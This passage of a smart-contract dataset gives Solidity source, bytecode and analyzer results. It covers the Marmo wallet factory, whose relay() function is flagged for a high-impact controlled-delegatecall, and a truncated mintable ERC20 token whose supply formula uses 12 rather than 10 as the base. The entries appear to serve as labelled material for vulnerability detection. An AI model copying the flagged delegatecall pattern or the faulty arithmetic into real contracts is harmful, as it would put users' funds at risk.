can Init // it must be called using another contract function init(address _signer) external payable { address signer; bytes32 signerSlot = SIGNER_SLOT; assembly { signer := sload(signerSlot) } require(signer == address(0), "Signer already defined"); assembly { sstore(signerSlot, _signer) } } // Signer of the Marmo wallet // can perform transactions by signing Intents function signer() public view returns (address _signer) { bytes32 signerSlot = SIGNER_SLOT; assembly { _signer := sload(signerSlot) } } // Address that relayed the `_id` intent // address(0) if the intent was not relayed function relayedBy(bytes32 _id) external view returns (address _relayer) { (,,_relayer) = _decodeReceipt(intentReceipt[_id]); } // Block when the intent was relayed // 0 if the intent was not relayed function relayedAt(bytes32 _id) external view returns (uint256 _block) { (,_block,) = _decodeReceipt(intentReceipt[_id]); } // True if the intent was canceled // An executed intent can't be canceled and // a Canceled intent can't be executed function isCanceled(bytes32 _id) external view returns (bool _canceled) { (_canceled,,) = _decodeReceipt(intentReceipt[_id]); } // Relay a signed intent // // The implementation receives data containing the id of the 'intent' and its data, // and it will perform all subsequent calls. // // The same _implementation and _data combination can only be relayed once // // Returns the result of the 'delegatecall' execution function relay( address _implementation, bytes calldata _data, bytes calldata _signature ) external payable returns ( bytes memory result ) { // Calculate ID from // (this, _implementation, data) // Any change in _data results in a different ID bytes32 id = keccak256( abi.encodePacked( address(this), _implementation, keccak256(_data) ) ); // Read receipt only once // if the receipt is 0, the Intent was not canceled or relayed if (intentReceipt[id] != bytes32(0)) { // Decode the receipt and determine if the Intent was canceled or relayed (bool canceled, , address relayer) = _decodeReceipt(intentReceipt[id]); require(relayer == address(0), "Intent already relayed"); require(!canceled, "Intent was canceled"); revert("Unknown error"); } // Read the signer from storage, avoid multiples 'sload' ops address _signer = signer(); // The signer 'INVALID_ADDRESS' is considered invalid and it will always throw // this is meant to disable the wallet safely require(_signer != INVALID_ADDRESS, "Signer is not a valid address"); // Validate is the msg.sender is the signer or if the provided signature is valid require(_signer == msg.sender || _signer == SigUtils.ecrecover2(id, _signature), "Invalid signature"); // Save the receipt before performing any other action intentReceipt[id] = _encodeReceipt(false, block.number, msg.sender); // Emit the 'relayed' event emit Relayed(id, _implementation, _data); // Perform 'delegatecall' to _implementation, appending the id of the intent // to the beginning of the _data. bool success; (success, result) = _implementation.delegatecall(abi.encode(id, _data)); // If the 'delegatecall' failed, reverts the transaction // forwarding the revert message if (!success) { assembly { revert(add(result, 32), mload(result)) } } } // Cancels a not executed Intent '_id' // a canceled intent can't be executed function cancel(bytes32 _id) external { require(msg.sender == address(this), "Only wallet can cancel txs"); if (intentReceipt[_id] != bytes32(0)) { (bool canceled, , address relayer) = _decodeReceipt(intentReceipt[_id]); require(relayer == address(0), "Intent already relayed"); require(!canceled, "Intent was canceled"); revert("Unknown error"); } emit Canceled(_id); intentReceipt[_id] = _encodeReceipt(true, 0, address(0)); } // Encodes an Intent receipt // into a single bytes32 // canceled (1 bit) + block (95 bits) + relayer (160 bits) // notice: Does not validate the _block length, // a _block overflow would not corrupt the wallet state function _encodeReceipt( bool _canceled, uint256 _block, address _relayer ) internal pure returns (bytes32 _receipt) { assembly { _receipt := or(shl(255, _canceled), or(shl(160, _block), _relayer)) } } // Decodes an Intent receipt // reverse of _encodeReceipt(bool,uint256,address) function _decodeReceipt(bytes32 _receipt) internal pure returns ( bool _canceled, uint256 _block, address _relayer ) { assembly { _canceled := shr(255, _receipt) _block := and(shr(160, _receipt), 0x7fffffffffffffffffffffff) _relayer := and(_receipt, 0xffffffffffffffffffffffffffffffffffffffff) } } // Used to receive ERC721 tokens function onERC721Received(address, address, uint256, bytes calldata) external pure returns (bytes4) { return bytes4(0x150b7a02); } } // Bytes library to concat and transform // bytes arrays library Bytes { // Concadenates two bytes array // Author: Gonçalo Sá <goncalo.sa@consensys.net> function concat( bytes memory _preBytes, bytes memory _postBytes ) internal pure returns (bytes memory) { return abi.encodePacked(_preBytes, _postBytes); } // Concatenates a bytes array and a bytes1 function concat(bytes memory _a, bytes1 _b) internal pure returns (bytes memory _out) { return concat(_a, abi.encodePacked(_b)); } // Concatenates 6 bytes arrays function concat( bytes memory _a, bytes memory _b, bytes memory _c, bytes memory _d, bytes memory _e, bytes memory _f ) internal pure returns (bytes memory) { return abi.encodePacked( _a, _b, _c, _d, _e, _f ); } // Transforms a bytes1 into bytes function toBytes(bytes1 _a) internal pure returns (bytes memory) { return abi.encodePacked(_a); } // Transform a uint256 into bytes (last 8 bits) function toBytes1(uint256 _a) internal pure returns (bytes1 c) { assembly { c := shl(248, _a) } } // Adds a bytes1 and the last 8 bits of a uint256 function plus(bytes1 _a, uint256 _b) internal pure returns (bytes1 c) { c = toBytes1(_b); assembly { c := add(_a, c) } } // Transforms a bytes into an array // it fails if _a has more than 20 bytes function toAddress(bytes memory _a) internal pure returns (address payable b) { require(_a.length <= 20); assembly { b := shr(mul(sub(32, mload(_a)), 8), mload(add(_a, 32))) } } // Returns the most significant bit of a given uint256 function mostSignificantBit(uint256 x) internal pure returns (uint256) { uint8 o = 0; uint8 h = 255; while (h > o) { uint8 m = uint8 ((uint16 (o) + uint16 (h)) >> 1); uint256 t = x >> m; if (t == 0) h = m - 1; else if (t > 1) o = m + 1; else return m; } return h; } // Shrinks a given address to the minimal representation in a bytes array function shrink(address _a) internal pure returns (bytes memory b) { uint256 abits = mostSignificantBit(uint256(_a)) + 1; uint256 abytes = abits / 8 + (abits % 8 == 0 ? 0 : 1); assembly { b := 0x0 mstore(0x0, abytes) mstore(0x20, shl(mul(sub(32, abytes), 8), _a)) } } } library MinimalProxy { using Bytes for bytes1; using Bytes for bytes; // Minimal proxy contract // by Agusx1211 bytes constant CODE1 = hex"60"; // + <size> // Copy code to memory bytes constant CODE2 = hex"80600b6000396000f3"; // Return and deploy contract bytes constant CODE3 = hex"3660008037600080366000"; // + <pushx> + <source> // Proxy, copy calldata and start delegatecall bytes constant CODE4 = hex"5af43d6000803e60003d9160"; // + <return jump> // Do delegatecall and return jump bytes constant CODE5 = hex"57fd5bf3"; // Return proxy bytes1 constant BASE_SIZE = 0x1d; bytes1 constant PUSH_1 = 0x60; bytes1 constant BASE_RETURN_JUMP = 0x1b; // Returns the Init code to create a // Minimal proxy pointing to a given address function build(address _address) internal pure returns (bytes memory initCode) { return build(Bytes.shrink(_address)); } function build(bytes memory _address) private pure returns (bytes memory initCode) { require(_address.length <= 20, "Address too long"); initCode = Bytes.concat( CODE1, BASE_SIZE.plus(_address.length).toBytes(), CODE2, CODE3.concat(PUSH_1.plus(_address.length - 1)).concat(_address), CODE4.concat(BASE_RETURN_JUMP.plus(_address.length)), CODE5 ); } } // MarmoStork creates all Marmo wallets // every address has a designated marmo wallet // and can send transactions by signing Meta-Tx (Intents) // // All wallets are proxies pointing to a single // source contract, to make deployment costs viable contract MarmoStork { // Random Invalid signer address // Intents signed with this address are invalid address private constant INVALID_ADDRESS = address(0x9431Bab00000000000000000000000039bD955c9); // Prefix of create2 address formula (EIP-1014) bytes1 private constant CREATE2_PREFIX = byte(0xff); // Bytecode to deploy marmo wallets bytes public bytecode; // Hash of the bytecode // used to calculate create2 result bytes32 public hash; // Marmo Source contract // all proxies point here address public marmo; // Creates a new MarmoStork (Marmo wallet Factory) // with wallets pointing to the _source contract reference constructor(address payable _source) public { // Generate and save wallet creator bytecode using the provided '_source' bytecode = MinimalProxy.build(_source); // Precalculate init_code hash hash = keccak256(bytecode); // Destroy the '_source' provided, if is not disabled Marmo marmoc = Marmo(_source); if (marmoc.signer() == address(0)) { marmoc.init(INVALID_ADDRESS); } // Validate, the signer of _source should be "INVALID_ADDRESS" (disabled) require(marmoc.signer() == INVALID_ADDRESS, "Error init Marmo source"); // Save the _source address, casting to address (160 bits) marmo = address(marmoc); } // Calculates the Marmo wallet for a given signer // the wallet contract will be deployed in a deterministic manner function marmoOf(address _signer) external view returns (address) { // CREATE2 address return address( uint256( keccak256( abi.encodePacked( CREATE2_PREFIX, address(this), bytes32(uint256(_signer)), hash ) ) ) ); } // Deploys the Marmo wallet of a given _signer // all ETH sent will be forwarded to the wallet function reveal(address _signer) external payable { // Load init code from storage bytes memory proxyCode = bytecode; // Create wallet proxy using CREATE2 // use _signer as salt Marmo p; assembly { p := create2(0, add(proxyCode, 0x20), mload(proxyCode), _signer) } // Init wallet with provided _signer // and forward all Ether p.init.value(msg.value)(_signer); } }
0x60806040526004361061004a5760003560e01c806303ae2e831461004f57806309bd5a60146100a6578063c392cf41146100d1578063e720e1b314610115578063f0940002146101a6575b600080fd5b34801561005b57600080fd5b50610064610236565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156100b257600080fd5b506100bb61025c565b6040518082815260200191505060405180910390f35b610113600480360360208110156100e757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610262565b005b34801561012157600080fd5b506101646004803603602081101561013857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506103ac565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156101b257600080fd5b506101bb610489565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101fb5780820151818401526020810190506101e0565b50505050905090810190601f1680156102285780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60015481565b606060008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156102fa5780601f106102cf576101008083540402835291602001916102fa565b820191906000526020600020905b8154815290600101906020018083116102dd57829003601f168201915b505050505090506000828251602084016000f590508073ffffffffffffffffffffffffffffffffffffffff166319ab453c34856040518363ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019150506000604051808303818588803b15801561038e57600080fd5b505af11580156103a2573d6000803e3d6000fd5b5050505050505050565b600060ff60f81b308373ffffffffffffffffffffffffffffffffffffffff1660001b60015460405160200180857effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff19167effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191681526001018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660601b81526014018381526020018281526020019450505050506040516020818303038152906040528051906020012060001c9050919050565b60008054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561051f5780601f106104f45761010080835404028352916020019161051f565b820191906000526020600020905b81548152906001019060200180831161050257829003601f168201915b505050505081565b606061053a61053583610541565b6109a2565b9050919050565b6060600060016105668473ffffffffffffffffffffffffffffffffffffffff16610c4a565b01905060008060088381151561057857fe5b0614610585576001610588565b60005b60ff1660088381151561059757fe5b04019050600092508060005283600882602003021b6020525050919050565b60006105c182610cd3565b9050808301905092915050565b60608160405160200180827effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff19167effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191681526001019150506040516020818303038152906040529050919050565b60606106aa838360405160200180827effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff19167effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191681526001019150506040516020818303038152906040526106b2565b905092915050565b606082826040516020018083805190602001908083835b6020831015156106ee57805182526020820191506020810190506020830392506106c9565b6001836020036101000a03801982511681845116808217855250505050505090500182805190602001908083835b602083101515610741578051825260208201915060208101905060208303925061071c565b6001836020036101000a03801982511681845116808217855250505050505090500192505050604051602081830303815290604052905092915050565b60608686868686866040516020018087805190602001908083835b6020831015156107be5780518252602082019150602081019050602083039250610799565b6001836020036101000a03801982511681845116808217855250505050505090500186805190602001908083835b60208310151561081157805182526020820191506020810190506020830392506107ec565b6001836020036101000a03801982511681845116808217855250505050505090500185805190602001908083835b602083101515610864578051825260208201915060208101905060208303925061083f565b6001836020036101000a03801982511681845116808217855250505050505090500184805190602001908083835b6020831015156108b75780518252602082019150602081019050602083039250610892565b6001836020036101000a03801982511681845116808217855250505050505090500183805190602001908083835b60208310151561090a57805182526020820191506020810190506020830392506108e5565b6001836020036101000a03801982511681845116808217855250505050505090500182805190602001908083835b60208310151561095d5780518252602082019150602081019050602083039250610938565b6001836020036101000a038019825116818451168082178552505050505050905001965050505050505060405160208183030381529060405290509695505050505050565b60606014825111151515610a1e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f4164647265737320746f6f206c6f6e670000000000000000000000000000000081525060200191505060405180910390fd5b610c436040518060400160405280600181526020017f6000000000000000000000000000000000000000000000000000000000000000815250610abb610a948551601d60f81b7effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166105b690919063ffffffff16565b7effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166105ce565b6040518060400160405280600981526020017f80600b6000396000f30000000000000000000000000000000000000000000000815250610b8786610b79610b3560018a5103606060f81b7effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166105b690919063ffffffff16565b6040518060400160405280600b81526020017f366000803760008036600000000000000000000000000000000000000000000081525061063b90919063ffffffff16565b6106b290919063ffffffff16565b610c08610bc48851601b60f81b7effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166105b690919063ffffffff16565b6040518060400160405280600c81526020017f5af43d6000803e60003d9160000000000000000000000000000000000000000081525061063b90919063ffffffff16565b6040518060400160405280600481526020017f57fd5bf30000000000000000000000000000000000000000000000000000000081525061077e565b9050919050565b60008060009050600060ff90505b8160ff168160ff161115610cc557600060018260ff168460ff160161ffff16901c905060008160ff1686901c90506000811415610c9a57600182039250610cbe565b6001811115610cae57600182019350610cbd565b8160ff16945050505050610cce565b5b5050610c58565b8060ff16925050505b919050565b60008160f81b905091905056fea165627a7a723058202ae3ee2a0635db2e7fae7aff10c135602ff8c5c5d15d79a9d25a131ea92140c70029
{"success": true, "error": null, "results": {"detectors": [{"check": "controlled-delegatecall", "impact": "High", "confidence": "Medium"}]}}
296
0xe3bbb26f03b8d1bf81bce853ec8b580eaa587e4a
pragma solidity 0.4.24; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * See https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address _who) public view returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (_a == 0) { return 0; } c = _a * _b; assert(c / _a == _b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 _a, uint256 _b) internal pure returns (uint256) { // assert(_b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = _a / _b; // assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold return _a / _b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { assert(_b <= _a); return _a - _b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) { c = _a + _b; assert(c >= _a); return c; } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) internal balances; uint256 internal totalSupply_; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev Transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_value <= balances[msg.sender]); require(_to != address(0)); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address _owner, address _spender) public view returns (uint256); function transferFrom(address _from, address _to, uint256 _value) public returns (bool); function approve(address _spender, uint256 _value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://github.com/ethereum/EIPs/issues/20 * Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); require(_to != address(0)); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint256 _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue >= oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } modifier hasMintPermission() { require(msg.sender == owner); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minsted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint( address _to, uint256 _amount ) public hasMintPermission canMint returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() public onlyOwner canMint returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } /** * @title Base contract for DumboNFT */ contract DumboNFT is MintableToken { string public name = "Dumbo NFT"; string public symbol = "DBN"; uint public decimals = 12; constructor() public { totalSupply_ = 1000000000000 * (12 ** decimals); balances[msg.sender] = totalSupply_; } }
0x6080604052600436106100f1576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b146100f657806306fdde0314610125578063095ea7b3146101b557806318160ddd1461021a57806323b872dd14610245578063313ce567146102ca57806340c10f19146102f5578063661884631461035a57806370a08231146103bf578063715018a6146104165780637d64bcb41461042d5780638da5cb5b1461045c57806395d89b41146104b3578063a9059cbb14610543578063d73dd623146105a8578063dd62ed3e1461060d578063f2fde38b14610684575b600080fd5b34801561010257600080fd5b5061010b6106c7565b604051808215151515815260200191505060405180910390f35b34801561013157600080fd5b5061013a6106da565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561017a57808201518184015260208101905061015f565b50505050905090810190601f1680156101a75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101c157600080fd5b50610200600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610778565b604051808215151515815260200191505060405180910390f35b34801561022657600080fd5b5061022f61086a565b6040518082815260200191505060405180910390f35b34801561025157600080fd5b506102b0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610874565b604051808215151515815260200191505060405180910390f35b3480156102d657600080fd5b506102df610c2f565b6040518082815260200191505060405180910390f35b34801561030157600080fd5b50610340600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c35565b604051808215151515815260200191505060405180910390f35b34801561036657600080fd5b506103a5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e1b565b604051808215151515815260200191505060405180910390f35b3480156103cb57600080fd5b50610400600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506110ad565b6040518082815260200191505060405180910390f35b34801561042257600080fd5b5061042b6110f5565b005b34801561043957600080fd5b506104426111fa565b604051808215151515815260200191505060405180910390f35b34801561046857600080fd5b506104716112c2565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156104bf57600080fd5b506104c86112e8565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105085780820151818401526020810190506104ed565b50505050905090810190601f1680156105355780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561054f57600080fd5b5061058e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611386565b604051808215151515815260200191505060405180910390f35b3480156105b457600080fd5b506105f3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506115a6565b604051808215151515815260200191505060405180910390f35b34801561061957600080fd5b5061066e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117a2565b6040518082815260200191505060405180910390f35b34801561069057600080fd5b506106c5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611829565b005b600360149054906101000a900460ff1681565b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107705780601f1061074557610100808354040283529160200191610770565b820191906000526020600020905b81548152906001019060200180831161075357829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156108c357600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561094e57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561098a57600080fd5b6109db826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461189190919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a6e826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118aa90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b3f82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461189190919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60065481565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c9357600080fd5b600360149054906101000a900460ff16151515610caf57600080fd5b610cc4826001546118aa90919063ffffffff16565b600181905550610d1b826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118aa90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508083101515610f2d576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610fc1565b610f40838261189190919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561115157600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a26000600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561125857600080fd5b600360149054906101000a900460ff1615151561127457600080fd5b600160036014